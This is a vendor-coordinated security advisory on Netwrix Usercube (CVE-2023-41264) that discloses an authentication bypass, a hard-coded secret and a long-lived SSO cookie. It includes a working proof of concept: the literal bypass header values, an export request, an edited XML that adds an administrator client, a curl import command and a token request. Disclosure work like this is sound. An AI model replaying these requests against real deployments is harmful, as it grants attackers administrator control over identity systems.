Usercube (Netwrix) - Multiple vulnerabilities

28/11/2023 - Download

Product

Usercube

Severity

Critical

Fixed Version(s)

6.0.215

Affected Version(s)

<= 6.0.204

CVE Number

CVE-2023-41264

Authors

Julien Egloff

Antoine Carrincazeaux

Description

Presentation

Usercube provides identity governance and administration (IGA) aimed squarely at solving the security, compliance and productivity issues associated with joiners, movers and leavers. By automating this challenging problem with a fully-SaaS solution, organizations can rest easier knowing that users are productive sooner, data is secured faster and auditors are thrilled with both.

Issue(s)

Multiple issues were identified on the on-premise version of the product:

  • An authentication bypass on deployment endpoints (CVE-2023-41264).
  • Presence of a hard-coded secret inside the compiled .NET libraries.
  • An authentication cookie having a long lifetime when using an external identity provider.

These issues might also apply to the SaaS variant of the product but were not tested.

Timeline

Date Description
2023.08.07 Advisory sent to productsecurity@netwrix.com
2023.08.07 Editor acknowledged the reception of the advisory
2023.08.30 Netwrix answers that vulnerability #1 was already discovered internally, second vulnerability is not considered a security risk and third vulnerability fix is going to be released soon
2023.09.27 Netwrix published its own advisory to its customers
2023.11.28 Public release

 

Technical details

Authentication bypass on deployment endpoints (CVE-2023-41264)

Description

The application exposes deployment endpoints:

  • POST /api/Deployment/ExportConfiguration
  • POST /api/Deployment

Both of them require authentication based on a custom mechanism, as shown by the following decompiled code from Usercube-Server.dll (DeploymentController.cs):

[ApiVersion("1.0")]
[AllowAnonymous]
[HttpPost]
public IActionResult Post([FromForm] IFormFile file)
{
	ValueTuple<ConfigurationContext, string, string, string, string, string, string, ValueTuple<string>> elements = ConfigurationService.GetElements(this.hostEnvironment, base.HttpContext);
	ConfigurationContext item = elements.Item1;
	string item2 = elements.Item2; // X-Usercubeauthorization header
	string item3 = elements.Item3; // Authorization header
	string item4 = elements.Item4; // X-Usercubelegacy header
	string item5 = elements.Item5; // environmentname
	string item6 = elements.Item6; // deployment-slot header
	string item7 = elements.Item7; // Host header
	string item8 = elements.Rest.Item1; // tenant header
	this.FillContext(item);
	JwtSecurityTokenHandler tokenHandler = new JwtSecurityTokenHandler();
	OpenIdTokenValidationProvider tokenValidationProvider = new OpenIdTokenValidationProvider();
	return this.ValidateRequestAndDeploy(item, item2, item3, item4, item5, item6, item7, item8, tokenHandler, tokenValidationProvider, file);
}

[ApiVersion("1.0")]
[AllowAnonymous]
[Route("ExportConfiguration")]
[HttpPost]
public IActionResult ExportConfiguration()
{
	ValueTuple<ConfigurationContext, string, string, string, string, string, string, ValueTuple<string>> elements = ConfigurationService.GetElements(this.hostEnvironment, base.HttpContext);
	ConfigurationContext item = elements.Item1;
	string item2 = elements.Item2; // X-Usercubeauthorization header
	string item3 = elements.Item3; // Authorization header
	string item4 = elements.Item4; // X-Usercubelegacy header
	string item5 = elements.Item5; // environmentname
	string item6 = elements.Item6; // deployment-slot header
	string item7 = elements.Item7; // Host header
	string item8 = elements.Rest.Item1; // tenant header
	item.MarkExport = base.HttpContext.Request.Query.ContainsKey(ConfigurationConstants.MarkExport);
	item.MarkExportRoleModel = base.HttpContext.Request.Query.ContainsKey(ConfigurationConstants.MarkRoleModelExport);
	item.HandleProductTranslation = base.HttpContext.Request.Query.ContainsKey(ConfigurationConstants.HandleProductTranslation);
	JwtSecurityTokenHandler tokenHandler = new JwtSecurityTokenHandler();
	OpenIdTokenValidationProvider tokenValidationProvider = new OpenIdTokenValidationProvider();
	string value;
	bool isLegacyAuth;
	if (ConfigurationService.TryGetAuthenticationError(item2, item3, item4, this.resetSettings, tokenHandler, tokenValidationProvider, this.logger, item5, out value, out isLegacyAuth))
	{
		return this.Unauthorized(value);
	}
	this.LogConfigurationRequestApproval(isLegacyAuth, tokenHandler, item3, true);
	ValueTuple<string, string, int> valueTuple = this.configurationManager.Export(this.resetSettings, this.dbConfig, this.loggerTaskSettings, item);
	string item9 = valueTuple.Item1;
	string item10 = valueTuple.Item2;
	int item11 = valueTuple.Item3;
	if (item11 != 0)
	{
		this.logger.LogError("{Output}", new object[]
		{
			item9
		});
		return this.BadRequest(item9);
	}
	this.logger.LogInformation("Configuration successfully exported", Array.Empty<object>());
	Stream stream = this.fileFacade.GetStream(item10, FileMode.Open, FileAccess.Write, FileShare.None);
	base.Response.Headers.Add("content-disposition", "attachment; filename=" + Path.GetFileName(item10));
	return this.File(stream, "application/zip", Path.GetFileName(item10));
}

The functions related to authentication are located in the ConfigurationService.cs file:

internal static bool TryGetAuthenticationError([Nullable(2)] string secret, [Nullable(2)] string idTokenAsString, [Nullable(2)] string oldAuthHeader, ResetSettings resetSettings, JwtSecurityTokenHandler tokenHandler, ITokenValidationProvider tokenValidationProvider, ILogger logger, string environment, [Nullable(2)] [NotNullWhen(true)] out string errorMessage, out bool isLegacyAuth)
{
    isLegacyAuth = false;
    if (secret != "9kltub854rd36421uty5846hgdqdf")
    {
        errorMessage = ConfigurationConstants.InvalidUsercubeHeaderValueErrorMessage;
        logger.LogError("Unauthorized Operation - Invalid Usercube Header on environment {environment}", new object[]
        {
            environment
        });
        return true;
    }
    List<ValueTuple<LogLevel, string>> list = new List<ValueTuple<LogLevel, string>>();
    string str;
    if (!ConfigurationService.TryGetOpenIdTokenError(idTokenAsString, resetSettings, tokenHandler, tokenValidationProvider, list, out str))
    {
        errorMessage = null;
        return false;
    }
    isLegacyAuth = ConfigurationService.TryValidateOldAuth(oldAuthHeader, resetSettings);
    if (isLegacyAuth)
    {
        logger.LogInformation("Configuration Deployment: Legacy authentication success.", Array.Empty<object>());
    errorMessage = null;
        return false;
    }
    errorMessage = ConfigurationConstants.InvalidOpenIdTokenErrorMessage + str;
    string message = "Unauthorized Operation - Invalid Open ID Connect token ({logs}) on environment {environment}";
    object[] array = new object[2];
    array[0] = (from t in list
    select t.Item2).ToList<string>();
    array[1] = environment;
    logger.LogError(message, array);
    return true;
}
[...]

private static bool TryValidateOldAuth([Nullable(2)] string oldAuthHeader, ResetSettings resetSettings)
{
    if (oldAuthHeader == null)
    {
        oldAuthHeader = string.Empty;
    }
    string[] source = oldAuthHeader.Split('|', StringSplitOptions.None);
    string      = source.ElementAtOrDefault(0) ?? string.Empty;
    string b2 = source.ElementAtOrDefault(1) ?? string.Empty;
    SHA512 sha = SHA512.Create();
    string a = Convert.ToHexString(sha.ComputeHash(Encoding.UTF8.GetBytes(resetSettings.AuthorizedClientId)));
    string a2 = Convert.ToHexString(sha.ComputeHash(Encoding.UTF8.GetBytes(resetSettings.AuthorizedClientSecret)));
    return string.Equals(a, b, StringComparison.Ordinal) && string.Equals(a2, b2, StringComparison.Ordinal);
}

The previous code performs the following checks:

  • The X-Usercubeauthorization HTTP header must be present and equal to 9kltub854rd36421uty5846hgdqdf.
  • If the Authorization header is present and valid (TryGetOpenIdTokenError function), the user is authenticated. If not, the execution continues.
  • If the X-Usercubelegacy header is present and valid (TryValidateOldAuth function), the user is authenticated.

Therefore, if one of the TryGetOpenIdTokenError or TryValidateOldAuth functions returns true, the user is authenticated and can access the deployment endpoints.

The TryValidateOldAuth function checks the presence of the X-Usercubelegacy HTTP header and splits its content in two parts surrounding the | character. Then, both values are compared with the SHA512 hashes of the restSettings.AuthorizedClientId and restSettings.AuthorizedSecret values. However, if these keys are not set in the application's configuration, the computed hashes both correspond to the SHA512 hash of an empty string, which is a constant value. Furthermore, these specific settings do not seem to be documented by Netwrix, and the default appsettings.json configuration file does not include the corresponding keys.

It is therefore possible to export and import the application's configuration without prior authentication, using the constant values of the X-Usercubeauthorization and X-Usercubelegacy headers, without any additional information.

The following request can be performed to export the configuration:

POST /api/Deployment/ExportConfiguration?api-version=1.0&vary=en-US HTTP/1.1
Host: usercube.local:5000
X-Usercubeauthorization: 9kltub854rd36421uty5846hgdqdf
X-Usercubelegacy: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E|CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Content-Length: 0

HTTP/1.1 200 OK
Content-Length: 7526
Content-Type: application/zip
Cache-Control: no-store,no-cache
Pragma: no-cache
Content-Disposition: attachment; filename=rcnml3mf.k2l; filename*=UTF-8''rcnml3mf.k2l

PK[...]

 

Impact

After exporting the configuration, it can be modified and re-imported in order to, for example:

  • Add an arbitrary OpenIdClient with the highest privileges on the application.
  • Alter existing profiles to increase privileges of an existing user.
  • Modify the ApplicationName key in the Settings.xml to execute arbitrary JavaScript in user's browsers.
  • Perform Denial of Service attacks by altering or destroying parts of the configuration.

As an example, the OpenIdClient.xml file can be modified to add a new user as follows:

<ConfigurationFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns="urn:schemas-usercube-com:configuration">
  <OpenIdClient Identifier="Job" DisplayName_L1="Default Client for jobs" HashedSecret="2Xqhxl9P1DmLjZQmir5RTzFxh4/vIICmuzVPdrwEM3o=" Profile="Administrator" />
  <OpenIdClient Identifier="Synacktiv" DisplayName_L1="Attacker controlled administrator" HashedSecret="Ds+i73EcRZZXio3lBwPBiifY8SZUBLjz/NrZQ7HMgzA=" Profile="Administrator" />
</ConfigurationFile>

The HashedSecret is a Base64-encoded SHA256 digest and can be computed with the following command line:

$ echo -n 'synacktiv' | sha256sum | cut -d ' ' -f1 | xxd -r -ps | base64
Ds+i73EcRZZXio3lBwPBiifY8SZUBLjz/NrZQ7HMgzA=

Then the import functionality is used:

$ curl 'http://usercube.local:5000/api/Deployment?api-version=1.0&vary=en-US&deployment-slot=Production' -F file=@import.zip -H 'X-Usercubeauthorization: 9kltub854rd36421uty5846hgdqdf' -H 'X-Usercubelegacy: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E|CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E' -x http://127.0.0.1:8080
[13:46:22 INF] Importing the configuration from local directory ../Temp\Deployment\kt3bmqd1.2x3
[13:46:31 INF] Configuration imported

A valid access_token can then be retrieved:

POST /Connect/Token?api-version=1.0 HTTP/1.1
Host: usercube.local:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

client_id=Synacktiv@usercube&client_secret=synacktiv&grant_type=client_credentials

HTTP/1.1 200 OK
Content-Length: 1709
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache

{
  "access_token": "eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkEyNTZDQkMtSFM1MTIiLCJraWQiOiI4ODE5MzQ5NTZENTlBM0ZCOUMxOTdEQjcwMjE1RkZCRUVEMzk2MzlBIiwidHlwIjoiYXQrand0IiwiY3R5IjoiSldUIn0.DdWJkOAGPM8p0cAHvUTQw04P8OHbwTpUAGSJHjQ8Alp_Vuyr9nEEkYIWD-z3YgC84JZGd8ASEQhTH33KB1ulr5mYzmta7KyHq9pH821g2ePqJQxKnRbp2KsnMOdalwt4wFzVmM3a8Fs36dFHu46TgoALoOB9Z5B81mboRXBwcN6PzBaJ7Yn5qJrzP5kq6zd1_CiwtxIOzvxwYS61SkObpv2uvrejEDj13uF70qzNh4x5SPA7Hm5a71TiphJxf9XbvMvTzCURr2wzPbzotKPe80h-kORvpFkHyPoA6quhWxTvRMnRvM08UDfCtIB3cgsTDnpVq5lb39zw9QPGpeNfzQ._Ima6cFoLb1Lgbtl80s3OQ.ixsRfgvRY00E-w0XS34SsNXst0rIPSC2vVheJ-Fu8ZKVBqJP1udwpQwJSMd0nHYljUf6cq882kDGwdqGyOw8TUvpQ0437eDSjw6Jn_T-XmTpBIM4x8r-pmkpC6ovVfNJHI7eAAZjFJRn3Va0vjFakV1pe6uwVovjBEsAQAtFdYzKpWL-H0xfxTaOrMHmgYuWOUTSPjpRVdbyz3HnCMm2Lph5bHROgfUd3HxMzx9IMQPgnQ6lIkyh8ERFRbX9rKpjMnA2Mer34dX0O0CJIKoByRNpq4H7cRr0KlqjVycQYLj_MpK35ePQYRQwVrIslm9Wm90KzjdDb3Zg4u3H3xjoGAt8w6lrHUpCUEVxQDxN2NK-8S-Vk-Yxam6V_VSHhFsnv0PmFn7opY27tQB1vCpHClk7-ueMwgCvlImLEV1O0eYUYsWEn78LdbLOAttIv8xfK69nGUcI7jLzB50Nmh2o3sj-UZkd3982mRtAk2_sb84l_XDVVLgmyMlUaljcmMXNw8e9jTiKAFHTBDc4mu4VzWTlnlizVXd8nll3AHz-XRj-S48vNnz3S-9Un-Q6CYbei0prvDSkDnT6PKoRhhtMNeNLR7Q-HgRMsXWzFlpx6XVKBhnMIbLFCqtFwpXHCqVG0XCtMJ26HRVxcJgJghOXYwLembFk4JxaYJADhTq_L3pwCRsrBfEkOyktRpnUMpeJkjUCUIY75w3j0CFYjez4N-IVUR0mwnmwjNqez9dp1I9jjLff3DrQuENOu1ZFM-dqIBnB5GCIOlxzhrytTIyj7Upvpq0mVm-VSh4CFLW6UUvDdhGAw-VQyS-ZJBMYtHuvxwy3C9qFb4bZHRxdTsADEU_G5lKbkQzVuDqknbdQaCc3UhT-obeFFqif_SQriNjyU3g_tjL7QLelxYQLB5KkLrLHH2wqyWZvMFQnYUYZBf1M2svGl-7QE5uL670FU3tw4BwWp8SRdkMovSwCJv4DluabSojcw_aeq9zvEA8CAaldPRDgX7u_t0fTwn9Qg7WgopwERvRr8TwR4P1Q3QZAaZ_uQhOdp43aNmtSm_1UZFw.7M_sDMi5jyALnNiHk-c9XuqlhszUrtKC8xbUcjj-GEA",
  "token_type": "Bearer",
  "expires_in": 3599
}

This token gives privileges of the Administrator profile on the application, and can be used to access the web interface.

Hard-coded secret in the application

Description

As described in the first vulnerability, a secret is hard-coded in the libraries of the application and used to authenticate on the deployment functionality.

Two occurrences of this secret have been identified:

  • In Usercube-Server.dll, in the ConfigurationService.cs file and the TryGetAuthenticationError function.
  • In Usercube.Configuration.ExecApi, in the RemoteAuthenticationValidator.cs file and the AddAuthenticationHeaders function.
public void AddAuthenticationHeaders()
{
    if (string.IsNullOrEmpty(this.authenticationTokenAsString) && string.IsNullOrEmpty(this.oldAuthHeader))
    {
        throw new ValidationException("Cannot add headers before authentication has been validated successfully.");
    }
    this.content.Headers.Add(ConfigurationConstants.UsercubeHeader, "9kltub854rd36421uty5846hgdqdf");
[...]
internal static bool TryGetAuthenticationError([Nullable(2)] string secret, [Nullable(2)] string idTokenAsString, [Nullable(2)] string oldAuthHeader, ResetSettings resetSettings, JwtSecurityTokenHandler tokenHandler, ITokenValidationProvider tokenValidationProvider, ILogger logger, string environment, [Nullable(2)] [NotNullWhen(true)] out string errorMessage, out bool isLegacyAuth)
{
    isLegacyAuth = false;
    if (secret != "9kltub854rd36421uty5846hgdqdf")
    {
[...]

 

Impact

Because the impacted secret is hard-coded, it is the same for every customer of the Usercube solution. In this case, it would allow an attacker knowing the first vulnerability or with access to the application dynamic libraries to compromise other customers.

Lifespan of external cookie too important

Description

When the Usercube application is configured to use an external identity provider, the endpoint used to validate Single Sign-On returns an External cookie.

For example, when using Saml2:

POST /Saml2/Acs HTTP/2
Host: usercube.local
Content-Type: application/x-www-form-urlencoded

[...]

RelayState=cXnxj1-6U5DfT08zsLDc3VEM&SAMLResponse=PHNhbWx[...]

HTTP/2 303 See Other
Location: /Account/ExternalLoginCallback
Set-Cookie: External=CfD[...]tqw; path=/; secure; samesite=lax; httponly
[...]

Then, another call is performed to retrieve the Session cookie that is used to authenticate the user:

GET /Account/ExternalLoginCallback HTTP/2
Host: usercube.local
Cookie: External=CfD[...]Prw;

[...]

HTTP/2 302 Found
Cache-Control: no-cache,no-store
Pragma: no-cache
Location: /resources/Directory_User?PresenceState.Id=-101%2C-102
Set-Cookie: Session=CfD[...]]Etj; path=/; secure; samesite=strict; httponly
Set-Cookie: External=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/; secure; samesite=lax; httponly

The Session cookie has a short lifespan of 10 minutes. However, the External cookie is valid during multiple days (at least 6 days).

Impact

If the External cookie is retrieved by an attacker, it could be used during its lifespan to gain a valid session for the targeted user.